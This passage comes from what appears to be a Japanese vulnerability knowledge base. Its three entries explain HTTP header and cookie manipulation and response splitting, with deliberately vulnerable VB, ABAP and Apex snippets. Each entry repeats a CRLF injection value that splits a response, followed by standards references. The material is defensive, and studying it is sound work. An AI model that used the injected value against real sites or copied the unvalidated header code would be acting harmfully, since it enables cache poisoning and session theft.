[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.swift.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。しかし、標準的な ASP をサポートするサーバーの多くは保護機能を持っていません。

例: 次のコード セグメントは、Web ログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.vb.header_manipulation
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP クッキーに含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.abap.header_manipulation_cookies
Abstract
未検証のデータを cookie に含めると HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie 不正操作、Open Redirectが発生する可能性があります。
Explanation
cookie 不正操作脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。



2.Web ユーザーに送信される HTTP Cookie にデータが検証せずに含まれている場合。



多くのソフトウェア セキュリティの脆弱性と同様、cookie 不正操作は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP Cookie に含めます。

cookie 不正操作: Cross-Site Request Forgery のような攻撃が同時に行われると、正規ユーザーの cookie が攻撃者によって変更、追加、上書きまでもされることがあります。

HTTP レスポンス ヘッダーでの cookie 不正操作攻撃は、次のようなタイプの攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへ CR (キャリッジ リターン、%0d または \r とも表記します) 文字や LF (ライン フィード、%0a または \n とも表記します) 文字を含める入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分と本文を制御できるだけでなく、追加のレスポンスを思うままに作成できてしまいます。

最近のアプリケーション サーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例 1: 次のコード セグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーに設定します。


...
Cookie cookie = new Cookie('author', author, '/', -1, false);
ApexPages.currentPage().setCookies(new Cookie[] {cookie});
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、author として送信された値に CR 文字や LF 文字が含まれていない場合のみです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは次の形式で 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー コンテンツや本文コンテンツで構成されてしまいます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザのキャッシュポイズニング、Cross-Site Scripting、ページ乗っ取り攻撃などの様々な攻撃が許容されることになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対するレスポンスと誤って解釈されることがあります。この攻撃では、攻撃者とユーザーがサーバー (共通のプロキシ サーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意している可能性があります。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、あるいはユーザーが 1 人であってもそのブラウザー キャッシュに保存されると、被害が拡大することがあります。レスポンスがプロキシ サーバーによくあるような共有 Web キャッシュに保存されると、キャッシュ エントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが悪意あるコンテンツを受け取り続けます。同様に、個別のユーザーのブラウザー キャッシュにレスポンスが保存される場合も、そのユーザーはキャッシュ エントリが消去されるまで悪意あるコンテンツを受け取り続け、ローカルのブラウザー インスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう、共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、1 番目のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをしても、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。その後に攻撃者は 2 番目のリクエストを送信します。プロキシ サーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーや本文に含まれる機密情報が漏洩します。

Open Redirect: リダイレクトに使用される URL が未検証の入力によって制御されると、フィッシング攻撃を容易にしてしまう可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
